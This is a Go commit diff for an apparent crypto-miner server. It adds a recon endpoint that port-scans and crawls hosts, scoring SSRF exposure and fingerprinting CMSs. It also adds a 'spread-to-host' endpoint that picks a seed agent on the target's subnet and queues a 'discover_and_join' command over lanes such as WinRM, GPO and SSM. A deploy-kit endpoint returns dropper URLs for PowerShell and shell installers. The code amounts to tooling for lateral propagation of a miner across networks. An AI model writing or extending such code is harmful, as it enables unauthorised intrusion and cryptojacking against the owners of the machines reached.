Add browser deploy recon backend with port scan, web crawl, and deploy lane recommendations.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
POST /api/v1/recon/scan probes fleet ports from the server host, crawls owned HTTP targets, maps findings to spread lanes, and records optional oath ledger rows.
This commit is contained in:
@@ -9,6 +9,7 @@ const (
|
||||
OathCourtL4Decision = "court_l4_decision"
|
||||
OathSpreadAttempt = "spread_attempt"
|
||||
OathStrainHospice = "strain_hospice"
|
||||
OathReconScan = "recon_scan"
|
||||
|
||||
OathOutcomeSuccess = "success"
|
||||
OathOutcomeFail = "fail"
|
||||
|
||||
215
server/internal/api/fleet_spread_host.go
Normal file
215
server/internal/api/fleet_spread_host.go
Normal file
@@ -0,0 +1,215 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"strings"
|
||||
|
||||
dbpkg "crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
"crypto-miner-server/internal/spreadrouter"
|
||||
)
|
||||
|
||||
type spreadToHostRequest struct {
|
||||
Host string `json:"host"`
|
||||
Finding string `json:"finding"`
|
||||
BuildID string `json:"build_id"`
|
||||
Campaign string `json:"campaign"`
|
||||
JoinLane string `json:"join_lane"`
|
||||
}
|
||||
|
||||
// POST /api/v1/fleet/spread-to-host
|
||||
// Body: {"host":"10.1.2.50","finding":"WinRM"} — no agent_id; seeds discover_and_join from best online hop.
|
||||
func (f *FleetHandler) PostSpreadToHost(w http.ResponseWriter, r *http.Request) {
|
||||
var req spreadToHostRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
req.Host = strings.TrimSpace(req.Host)
|
||||
req.Finding = strings.TrimSpace(req.Finding)
|
||||
req.BuildID = strings.TrimSpace(req.BuildID)
|
||||
req.Campaign = strings.TrimSpace(req.Campaign)
|
||||
req.JoinLane = strings.TrimSpace(req.JoinLane)
|
||||
if req.Host == "" {
|
||||
http.Error(w, "host required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
matched, lane, ok := resolveReconFinding(req.Finding, NormalizeServiceDeployAllowlist(nil))
|
||||
if !ok {
|
||||
http.Error(w, "no deploy lane matched finding", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if req.JoinLane != "" {
|
||||
lane.Lane = normalizeJoinLane(req.JoinLane)
|
||||
}
|
||||
|
||||
agentID, reachable, found := matchAgentForSpreadFleet(f.ws, f.db, req.Host)
|
||||
if found && reachable {
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"ok": true,
|
||||
"host": req.Host,
|
||||
"agent_id": agentID,
|
||||
"agent_reachable": true,
|
||||
"join_lane": lane.Lane,
|
||||
"matched_service": matched,
|
||||
"queued": false,
|
||||
"recommended_command": "discover_and_join",
|
||||
"operator_note": "Host already has a connected agent — select it in Crucible and run Probe & Join.",
|
||||
"crucible_link": "/crucible?reconHost=" + urlQueryEscape(req.Host) + "&tab=spread",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
seedID, seedName, seedOK := pickSpreadSeedAgent(f.ws, req.Host, lane.Lane)
|
||||
commandArgs := map[string]interface{}{
|
||||
"target_host": req.Host,
|
||||
"join_lane": lane.Lane,
|
||||
"matched_service": matched,
|
||||
}
|
||||
if req.BuildID != "" {
|
||||
commandArgs["build_id"] = req.BuildID
|
||||
}
|
||||
if req.Campaign != "" {
|
||||
commandArgs["campaign"] = req.Campaign
|
||||
}
|
||||
|
||||
queued := false
|
||||
var dispatchErr string
|
||||
if seedOK && f.ws != nil {
|
||||
if err := f.ws.SendAgentCommand(seedID, "discover_and_join", commandArgs); err != nil {
|
||||
dispatchErr = err.Error()
|
||||
} else {
|
||||
queued = true
|
||||
}
|
||||
}
|
||||
|
||||
recommended := fmt.Sprintf(
|
||||
"Crucible → select seed %s → Probe & Join (discover_and_join) targeting %s via %s lane",
|
||||
firstNonEmptySpread(seedName, seedID, "best online agent"),
|
||||
req.Host,
|
||||
lane.Lane,
|
||||
)
|
||||
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"ok": true,
|
||||
"host": req.Host,
|
||||
"finding": req.Finding,
|
||||
"join_lane": lane.Lane,
|
||||
"matched_service": matched,
|
||||
"agent_reachable": false,
|
||||
"agent_found": found,
|
||||
"seed_agent_id": seedID,
|
||||
"seed_agent_name": seedName,
|
||||
"queued": queued,
|
||||
"dispatch_error": dispatchErr,
|
||||
"recommended_command": "discover_and_join",
|
||||
"command_args": commandArgs,
|
||||
"operator_note": recommended,
|
||||
"crucible_link": "/crucible?reconHost=" + urlQueryEscape(req.Host) + "&tab=spread",
|
||||
})
|
||||
}
|
||||
|
||||
func matchAgentForSpreadFleet(hub *WSHub, database *dbpkg.Database, host string) (agentID string, reachable bool, found bool) {
|
||||
if database == nil {
|
||||
return "", false, false
|
||||
}
|
||||
agents, err := database.ListAgents()
|
||||
if err != nil {
|
||||
return "", false, false
|
||||
}
|
||||
host = strings.TrimSpace(strings.ToLower(host))
|
||||
var match *models.Agent
|
||||
for _, ag := range agents {
|
||||
if ag == nil {
|
||||
continue
|
||||
}
|
||||
ip := strings.TrimSpace(strings.ToLower(ag.IP))
|
||||
if ip == host || strings.EqualFold(ag.Name, host) || strings.EqualFold(ag.Hostname, host) {
|
||||
if match == nil || ag.Status == "online" {
|
||||
match = ag
|
||||
}
|
||||
}
|
||||
}
|
||||
if match == nil {
|
||||
return "", false, false
|
||||
}
|
||||
reachable = match.Status == "online"
|
||||
if hub != nil {
|
||||
reachable = hub.isAgentConnected(match.ID)
|
||||
}
|
||||
return match.ID, reachable, true
|
||||
}
|
||||
|
||||
func pickSpreadSeedAgent(hub *WSHub, targetHost, joinLane string) (agentID, agentName string, ok bool) {
|
||||
if hub == nil {
|
||||
return "", "", false
|
||||
}
|
||||
subnet := spreadrouter.SubnetFromIP(targetHost)
|
||||
if subnet != "" {
|
||||
in := buildSpreadRouterInput(hub, nil, []string{subnet}, joinLane)
|
||||
rt := spreadrouter.Build(in)
|
||||
if rec, found := rt.Recommend(subnet); found && rec.SeedAgentID != "" && hub.isAgentConnected(rec.SeedAgentID) {
|
||||
return rec.SeedAgentID, rec.SeedAgentName, true
|
||||
}
|
||||
}
|
||||
|
||||
// Fallback: lowest-latency connected agent on same /24.
|
||||
targetSubnet := spreadrouter.NormalizeSubnet(subnet)
|
||||
var bestID, bestName string
|
||||
bestLatency := int(^uint(0) >> 1)
|
||||
hub.mu.RLock()
|
||||
for id, conn := range hub.agents {
|
||||
if conn == nil || hub.db == nil {
|
||||
continue
|
||||
}
|
||||
ag, err := hub.db.GetAgent(id)
|
||||
if err != nil || ag == nil {
|
||||
continue
|
||||
}
|
||||
agSubnet := spreadrouter.SubnetFromIP(ag.IP)
|
||||
if targetSubnet != "" && spreadrouter.NormalizeSubnet(agSubnet) != targetSubnet {
|
||||
continue
|
||||
}
|
||||
lat := 9999
|
||||
if ag.LatencyMs != nil {
|
||||
lat = *ag.LatencyMs
|
||||
}
|
||||
if lat < bestLatency {
|
||||
bestLatency = lat
|
||||
bestID = id
|
||||
bestName = ag.Name
|
||||
}
|
||||
}
|
||||
hub.mu.RUnlock()
|
||||
if bestID != "" {
|
||||
return bestID, bestName, true
|
||||
}
|
||||
|
||||
// Last resort: any connected agent.
|
||||
hub.mu.RLock()
|
||||
for id := range hub.agents {
|
||||
if hub.agents[id] != nil {
|
||||
bestID = id
|
||||
if hub.db != nil {
|
||||
if ag, err := hub.db.GetAgent(id); err == nil && ag != nil {
|
||||
bestName = ag.Name
|
||||
}
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
hub.mu.RUnlock()
|
||||
return bestID, bestName, bestID != ""
|
||||
}
|
||||
|
||||
func firstNonEmptySpread(parts ...string) string {
|
||||
for _, p := range parts {
|
||||
if strings.TrimSpace(p) != "" {
|
||||
return p
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
62
server/internal/api/fleet_spread_host_test.go
Normal file
62
server/internal/api/fleet_spread_host_test.go
Normal file
@@ -0,0 +1,62 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
"crypto-miner-server/internal/pool"
|
||||
)
|
||||
|
||||
func TestPostSpreadToHostRecommendsCommand(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
database, err := db.New(dir)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
if err := database.UpsertAgent(&models.Agent{
|
||||
ID: "seed-1", Name: "seed-node", IP: "10.1.2.10", Status: "online", Hostname: "seed",
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
hub := NewWSHub(database)
|
||||
fh := NewFleetHandler(database, hub, nil, nil, nil, pool.Config{}, dir)
|
||||
|
||||
body, _ := json.Marshal(map[string]string{"host": "10.1.2.99", "finding": "WinRM"})
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/fleet/spread-to-host", bytes.NewReader(body))
|
||||
rec := httptest.NewRecorder()
|
||||
fh.PostSpreadToHost(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var out map[string]interface{}
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &out); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if out["recommended_command"] != "discover_and_join" {
|
||||
t.Fatalf("recommended_command: %v", out["recommended_command"])
|
||||
}
|
||||
if out["join_lane"] != "winrm" {
|
||||
t.Fatalf("join_lane: %v", out["join_lane"])
|
||||
}
|
||||
note, _ := out["operator_note"].(string)
|
||||
if note == "" {
|
||||
t.Fatal("expected operator_note")
|
||||
}
|
||||
}
|
||||
|
||||
func TestPostSpreadToHostRequiresHost(t *testing.T) {
|
||||
fh := NewFleetHandler(nil, nil, nil, nil, nil, pool.Config{}, t.TempDir())
|
||||
body, _ := json.Marshal(map[string]string{"finding": "WinRM"})
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/fleet/spread-to-host", bytes.NewReader(body))
|
||||
rec := httptest.NewRecorder()
|
||||
fh.PostSpreadToHost(rec, req)
|
||||
if rec.Code != http.StatusBadRequest {
|
||||
t.Fatalf("want 400 got %d", rec.Code)
|
||||
}
|
||||
}
|
||||
235
server/internal/api/recon_deploy_kit.go
Normal file
235
server/internal/api/recon_deploy_kit.go
Normal file
@@ -0,0 +1,235 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
// BindDeployPlan wires deploy-plan generation for recon deploy-kit responses.
|
||||
func (h *SpreadHandler) BindDeployPlan(plan *DeployPlanHandler, publicURL func() string, allowlist func() map[string]ServiceDeployLane) {
|
||||
if h == nil {
|
||||
return
|
||||
}
|
||||
h.deployPlan = plan
|
||||
h.publicURL = publicURL
|
||||
h.allowlistFn = allowlist
|
||||
}
|
||||
|
||||
type deployKitDropperURLs struct {
|
||||
GetWindows string `json:"get_windows,omitempty"`
|
||||
GetLinux string `json:"get_linux,omitempty"`
|
||||
GetDarwin string `json:"get_darwin,omitempty"`
|
||||
Get string `json:"get,omitempty"`
|
||||
InstallPS1 string `json:"install_ps1,omitempty"`
|
||||
InstallSh string `json:"install_sh,omitempty"`
|
||||
InstallCmd string `json:"install_command,omitempty"`
|
||||
}
|
||||
|
||||
type deployKitSpreadZIP struct {
|
||||
Method string `json:"method"`
|
||||
URL string `json:"url"`
|
||||
Note string `json:"note,omitempty"`
|
||||
}
|
||||
|
||||
type deployKitSpreadTemplate struct {
|
||||
Template string `json:"template,omitempty"`
|
||||
Method string `json:"method"`
|
||||
URL string `json:"url"`
|
||||
}
|
||||
|
||||
// GET /api/v1/recon/deploy-kit?host=&finding=
|
||||
func (h *SpreadHandler) GetDeployKit(w http.ResponseWriter, r *http.Request) {
|
||||
host := strings.TrimSpace(r.URL.Query().Get("host"))
|
||||
finding := strings.TrimSpace(r.URL.Query().Get("finding"))
|
||||
if host == "" {
|
||||
http.Error(w, "host query param required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
serverURL := strings.TrimRight(resolveSpreadServerURL(h), "/")
|
||||
if serverURL == "" {
|
||||
serverURL = "http://127.0.0.1:8989"
|
||||
}
|
||||
|
||||
matched, lane, ok := resolveReconFinding(finding, h.serviceDeployAllowlist())
|
||||
if !ok {
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"ok": false,
|
||||
"host": host,
|
||||
"finding": finding,
|
||||
"error": "no deploy lane matched finding",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
agentID, agentReachable, agentFound := h.matchAgentForHost(host)
|
||||
buildID, campaign := "", ""
|
||||
if h.db != nil {
|
||||
if b, err := h.db.GetLatestBuildForPlatform(platformForReconHost(host, lane.Lane)); err == nil && b != nil {
|
||||
buildID = b.ID
|
||||
}
|
||||
}
|
||||
|
||||
querySuffix, getQuerySuffix := buildQuerySuffix(buildID, campaign)
|
||||
dropper := deployKitDropperURLs{
|
||||
Get: serverURL + "/get" + querySuffix,
|
||||
GetWindows: serverURL + "/get?os=windows" + getQuerySuffix,
|
||||
GetLinux: serverURL + "/get?os=linux" + getQuerySuffix,
|
||||
GetDarwin: serverURL + "/get?os=darwin" + getQuerySuffix,
|
||||
InstallPS1: serverURL + "/install.ps1" + querySuffix,
|
||||
InstallSh: serverURL + "/install.sh" + querySuffix,
|
||||
InstallCmd: serverURL + "/install.command" + querySuffix,
|
||||
}
|
||||
|
||||
resp := map[string]interface{}{
|
||||
"ok": true,
|
||||
"host": host,
|
||||
"finding": finding,
|
||||
"join_lane": lane.Lane,
|
||||
"matched_service": matched,
|
||||
"agent_reachable": agentReachable,
|
||||
"agent_found": agentFound,
|
||||
"dropper_urls": dropper,
|
||||
"spread_kit_zip": deployKitSpreadZIP{
|
||||
Method: "POST",
|
||||
URL: "/api/v1/builder/spread-kit-export",
|
||||
Note: "Body: { server_url, build_id?, campaign? }",
|
||||
},
|
||||
"crucible_link": "/crucible?reconHost=" + urlQueryEscape(host) + "&tab=spread",
|
||||
}
|
||||
if agentID != "" {
|
||||
resp["agent_id"] = agentID
|
||||
}
|
||||
if tpl := strings.TrimSpace(lane.Template); tpl != "" {
|
||||
resp["spread_template"] = deployKitSpreadTemplate{
|
||||
Template: tpl,
|
||||
Method: "POST",
|
||||
URL: "/api/v1/builder/spread-template-export",
|
||||
}
|
||||
}
|
||||
|
||||
if h.deployPlan != nil {
|
||||
req := deployPlanRequest{
|
||||
BuildID: buildID,
|
||||
Campaign: campaign,
|
||||
Platform: platformForReconHost(host, lane.Lane),
|
||||
Services: []DeployServiceFinding{{Name: matched, Status: "running"}},
|
||||
}
|
||||
if plan, err := h.deployPlan.buildPlan(req, matched, lane); err == nil {
|
||||
resp["deploy_plan_template"] = plan
|
||||
}
|
||||
}
|
||||
|
||||
if lane.Lane == "ssm_document" || strings.Contains(strings.ToLower(finding), "ssm") {
|
||||
if h.deployPlan != nil {
|
||||
if bundle, err := h.deployPlan.buildSSMSpreadBundle(deployPlanRequest{
|
||||
BuildID: buildID, Campaign: campaign, Platform: "linux",
|
||||
}, serverURL); err == nil {
|
||||
resp["ssm_bundle"] = bundle
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
writeJSON(w, resp)
|
||||
}
|
||||
|
||||
func (h *SpreadHandler) serviceDeployAllowlist() map[string]ServiceDeployLane {
|
||||
if h.allowlistFn != nil {
|
||||
return NormalizeServiceDeployAllowlist(h.allowlistFn())
|
||||
}
|
||||
return NormalizeServiceDeployAllowlist(nil)
|
||||
}
|
||||
|
||||
func resolveSpreadServerURL(h *SpreadHandler) string {
|
||||
if h.publicURL != nil {
|
||||
return h.publicURL()
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func resolveReconFinding(finding string, allowlist map[string]ServiceDeployLane) (matched string, lane ServiceDeployLane, ok bool) {
|
||||
finding = strings.TrimSpace(finding)
|
||||
allowlist = NormalizeServiceDeployAllowlist(allowlist)
|
||||
|
||||
if finding == "" {
|
||||
return "default", ServiceDeployLane{Lane: "bits_curl", Priority: 8}, true
|
||||
}
|
||||
|
||||
lower := strings.ToLower(finding)
|
||||
if strings.Contains(lower, "ssm") {
|
||||
return "SSM", ServiceDeployLane{Lane: "ssm_document"}, true
|
||||
}
|
||||
|
||||
normalized := normalizeJoinLane(finding)
|
||||
for _, entry := range allowlist {
|
||||
if entry.Lane == normalized {
|
||||
return finding, entry, true
|
||||
}
|
||||
}
|
||||
if normalized != "" && normalized != finding {
|
||||
return finding, ServiceDeployLane{Lane: normalized}, true
|
||||
}
|
||||
|
||||
matched, lane, ok = PickDeployLane([]DeployServiceFinding{
|
||||
{Name: finding, Status: "running"},
|
||||
}, allowlist)
|
||||
if ok {
|
||||
return matched, lane, true
|
||||
}
|
||||
|
||||
// Case-insensitive service alias (e.g. winrm → WinRM)
|
||||
for name, entry := range allowlist {
|
||||
if strings.EqualFold(name, finding) {
|
||||
return name, entry, true
|
||||
}
|
||||
}
|
||||
return "", ServiceDeployLane{}, false
|
||||
}
|
||||
|
||||
func (h *SpreadHandler) matchAgentForHost(host string) (agentID string, reachable bool, found bool) {
|
||||
host = strings.TrimSpace(strings.ToLower(host))
|
||||
if host == "" || h.db == nil {
|
||||
return "", false, false
|
||||
}
|
||||
agents, err := h.db.ListAgents()
|
||||
if err != nil {
|
||||
return "", false, false
|
||||
}
|
||||
var match *models.Agent
|
||||
for _, ag := range agents {
|
||||
if ag == nil {
|
||||
continue
|
||||
}
|
||||
ip := strings.TrimSpace(strings.ToLower(ag.IP))
|
||||
name := strings.TrimSpace(strings.ToLower(ag.Name))
|
||||
hostname := strings.TrimSpace(strings.ToLower(ag.Hostname))
|
||||
if ip == host || name == host || hostname == host {
|
||||
if match == nil || ag.Status == "online" {
|
||||
match = ag
|
||||
}
|
||||
}
|
||||
}
|
||||
if match == nil {
|
||||
return "", false, false
|
||||
}
|
||||
reachable = match.Status == "online"
|
||||
if h.wsHub != nil {
|
||||
reachable = h.wsHub.isAgentConnected(match.ID)
|
||||
}
|
||||
return match.ID, reachable, true
|
||||
}
|
||||
|
||||
func platformForReconHost(host, lane string) string {
|
||||
if strings.Contains(lane, "linux") {
|
||||
return "linux"
|
||||
}
|
||||
// Heuristic: RFC1918 host with no agent — default windows for LAN spread.
|
||||
_ = host
|
||||
return "windows"
|
||||
}
|
||||
|
||||
func urlQueryEscape(s string) string {
|
||||
return strings.ReplaceAll(strings.ReplaceAll(s, " ", "%20"), "#", "%23")
|
||||
}
|
||||
110
server/internal/api/recon_deploy_kit_test.go
Normal file
110
server/internal/api/recon_deploy_kit_test.go
Normal file
@@ -0,0 +1,110 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
func testReconSpreadHandler(t *testing.T) (*SpreadHandler, *DeployPlanHandler) {
|
||||
t.Helper()
|
||||
dir := t.TempDir()
|
||||
root := t.TempDir()
|
||||
writeSpreadTemplates(t, root)
|
||||
artifact := filepath.Join(dir, "worker.exe")
|
||||
if err := os.WriteFile(artifact, []byte("recon-kit-payload"), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
database, err := db.New(dir)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
if err := database.InsertBuild(&models.BuildRecord{
|
||||
ID: "build-recon", WorkerName: "recon-worker", Platform: "windows",
|
||||
FilePath: artifact, Pinned: true,
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
deployH := NewDeployPlanHandler(database, dir, root,
|
||||
func() string { return "https://deck.example" },
|
||||
func() string { return "fleet-secret" },
|
||||
func() map[string]ServiceDeployLane { return NormalizeServiceDeployAllowlist(nil) },
|
||||
)
|
||||
spreadH := NewSpreadHandler(database, dir, root, nil)
|
||||
spreadH.BindDeployPlan(deployH, func() string { return "https://deck.example" }, func() map[string]ServiceDeployLane {
|
||||
return NormalizeServiceDeployAllowlist(nil)
|
||||
})
|
||||
return spreadH, deployH
|
||||
}
|
||||
|
||||
func TestGetDeployKitWinRM(t *testing.T) {
|
||||
spreadH, _ := testReconSpreadHandler(t)
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/recon/deploy-kit?host=10.1.2.50&finding=WinRM", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
spreadH.GetDeployKit(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var out map[string]interface{}
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &out); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if out["join_lane"] != "winrm" {
|
||||
t.Fatalf("join_lane: %v", out["join_lane"])
|
||||
}
|
||||
dropper, ok := out["dropper_urls"].(map[string]interface{})
|
||||
if !ok || dropper["install_ps1"] == "" {
|
||||
t.Fatalf("dropper_urls: %v", out["dropper_urls"])
|
||||
}
|
||||
if out["spread_kit_zip"] == nil {
|
||||
t.Fatal("expected spread_kit_zip")
|
||||
}
|
||||
if out["deploy_plan_template"] == nil {
|
||||
t.Fatal("expected deploy_plan_template")
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetDeployKitSSM(t *testing.T) {
|
||||
spreadH, _ := testReconSpreadHandler(t)
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/recon/deploy-kit?host=10.1.2.99&finding=ssm", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
spreadH.GetDeployKit(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var out map[string]interface{}
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &out); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if out["join_lane"] != "ssm_document" {
|
||||
t.Fatalf("join_lane: %v", out["join_lane"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetDeployKitRequiresHost(t *testing.T) {
|
||||
spreadH, _ := testReconSpreadHandler(t)
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/recon/deploy-kit?finding=WinRM", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
spreadH.GetDeployKit(rec, req)
|
||||
if rec.Code != http.StatusBadRequest {
|
||||
t.Fatalf("want 400 got %d", rec.Code)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveReconFinding(t *testing.T) {
|
||||
matched, lane, ok := resolveReconFinding("gpsvc", NormalizeServiceDeployAllowlist(nil))
|
||||
if !ok || lane.Lane != "gpo" {
|
||||
t.Fatalf("gpsvc → gpo: matched=%q lane=%q ok=%v", matched, lane.Lane, ok)
|
||||
}
|
||||
_, lane, ok = resolveReconFinding("", NormalizeServiceDeployAllowlist(nil))
|
||||
if !ok || lane.Lane != "bits_curl" {
|
||||
t.Fatalf("empty finding default: %v", lane.Lane)
|
||||
}
|
||||
}
|
||||
92
server/internal/api/recon_handler.go
Normal file
92
server/internal/api/recon_handler.go
Normal file
@@ -0,0 +1,92 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"strings"
|
||||
|
||||
dbpkg "crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/recon"
|
||||
)
|
||||
|
||||
// ReconHandler serves owned-target browser deploy recon.
|
||||
type ReconHandler struct {
|
||||
db *dbpkg.Database
|
||||
wsHub *WSHub
|
||||
}
|
||||
|
||||
func NewReconHandler(database *dbpkg.Database, hub *WSHub) *ReconHandler {
|
||||
return &ReconHandler{db: database, wsHub: hub}
|
||||
}
|
||||
|
||||
// POST /api/v1/recon/scan
|
||||
func (h *ReconHandler) Scan(w http.ResponseWriter, r *http.Request) {
|
||||
var req recon.ScanRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
req.Host = strings.TrimSpace(req.Host)
|
||||
if req.Host == "" {
|
||||
http.Error(w, "host required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
report, err := recon.Scan(req)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
if h != nil && h.db != nil {
|
||||
payload := map[string]interface{}{
|
||||
"host": report.Host,
|
||||
"open_ports": openPortList(report.Ports),
|
||||
"ssrf_score": crawlSSRFScore(report.Crawl),
|
||||
"recommendations": len(report.Recommendations),
|
||||
"cms_fingerprints": crawlCMS(report.Crawl),
|
||||
}
|
||||
_ = (&OathLedgerBridge{DB: h.db, Hub: oathHub(h)}).Record(
|
||||
AuthUsername(r),
|
||||
dbpkg.OathReconScan,
|
||||
"",
|
||||
"",
|
||||
dbpkg.OathOutcomeSuccess,
|
||||
map[string]string{"host": report.Host},
|
||||
payload,
|
||||
)
|
||||
}
|
||||
|
||||
writeJSON(w, report)
|
||||
}
|
||||
|
||||
func oathHub(h *ReconHandler) *WSHub {
|
||||
if h == nil {
|
||||
return nil
|
||||
}
|
||||
return h.wsHub
|
||||
}
|
||||
|
||||
func openPortList(ports []recon.PortResult) []int {
|
||||
var out []int
|
||||
for _, p := range ports {
|
||||
if p.Open {
|
||||
out = append(out, p.Port)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func crawlSSRFScore(c *recon.CrawlReport) int {
|
||||
if c == nil {
|
||||
return 0
|
||||
}
|
||||
return c.SSRFScore
|
||||
}
|
||||
|
||||
func crawlCMS(c *recon.CrawlReport) []string {
|
||||
if c == nil {
|
||||
return nil
|
||||
}
|
||||
return c.CMSFingerprints
|
||||
}
|
||||
67
server/internal/api/recon_handler_test.go
Normal file
67
server/internal/api/recon_handler_test.go
Normal file
@@ -0,0 +1,67 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/recon"
|
||||
)
|
||||
|
||||
func TestReconScanEndpoint(t *testing.T) {
|
||||
recon.SetPortDialHook(func(host string, port int, _ time.Duration) bool {
|
||||
return port == 80
|
||||
})
|
||||
t.Cleanup(func() { recon.SetPortDialHook(nil) })
|
||||
recon.SetFetchPageHook(func(rawURL string) (int, string, error) {
|
||||
return 200, `<html><form enctype="multipart/form-data"><input type="text" name="preview_url"><input type="file" name="payload"></form></html>`, nil
|
||||
})
|
||||
t.Cleanup(func() { recon.SetFetchPageHook(nil) })
|
||||
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
|
||||
h := NewReconHandler(database, nil)
|
||||
body, _ := json.Marshal(map[string]interface{}{
|
||||
"host": "recon.lab",
|
||||
"port": 80,
|
||||
"scheme": "http",
|
||||
})
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/recon/scan", bytes.NewReader(body))
|
||||
w := httptest.NewRecorder()
|
||||
h.Scan(w, req)
|
||||
if w.Code != http.StatusOK {
|
||||
t.Fatalf("status=%d body=%s", w.Code, w.Body.String())
|
||||
}
|
||||
var report recon.ScanReport
|
||||
if err := json.Unmarshal(w.Body.Bytes(), &report); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if report.Host != "recon.lab" || report.Crawl == nil || len(report.Recommendations) == 0 {
|
||||
t.Fatalf("report=%+v", report)
|
||||
}
|
||||
rows, err := database.ListOathLedger(5)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(rows) == 0 || rows[0].ActionType != db.OathReconScan {
|
||||
t.Fatalf("oath rows=%+v", rows)
|
||||
}
|
||||
}
|
||||
|
||||
func TestReconScanRequiresHost(t *testing.T) {
|
||||
h := NewReconHandler(nil, nil)
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/recon/scan", bytes.NewReader([]byte(`{}`)))
|
||||
w := httptest.NewRecorder()
|
||||
h.Scan(w, req)
|
||||
if w.Code != http.StatusBadRequest {
|
||||
t.Fatalf("status=%d", w.Code)
|
||||
}
|
||||
}
|
||||
@@ -552,6 +552,9 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
vulnHandler := NewVulnHandler()
|
||||
r.Get("/vuln/catalog", vulnHandler.Catalog)
|
||||
|
||||
reconHandler := NewReconHandler(database, wsHub)
|
||||
r.Post("/recon/scan", reconHandler.Scan)
|
||||
|
||||
// Agents
|
||||
r.Get("/agents", h.ListAgents)
|
||||
r.Get("/agents/{id}", h.GetAgent)
|
||||
@@ -595,6 +598,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Get("/fleet/strain-hospice", fleetHandler.GetStrainHospice)
|
||||
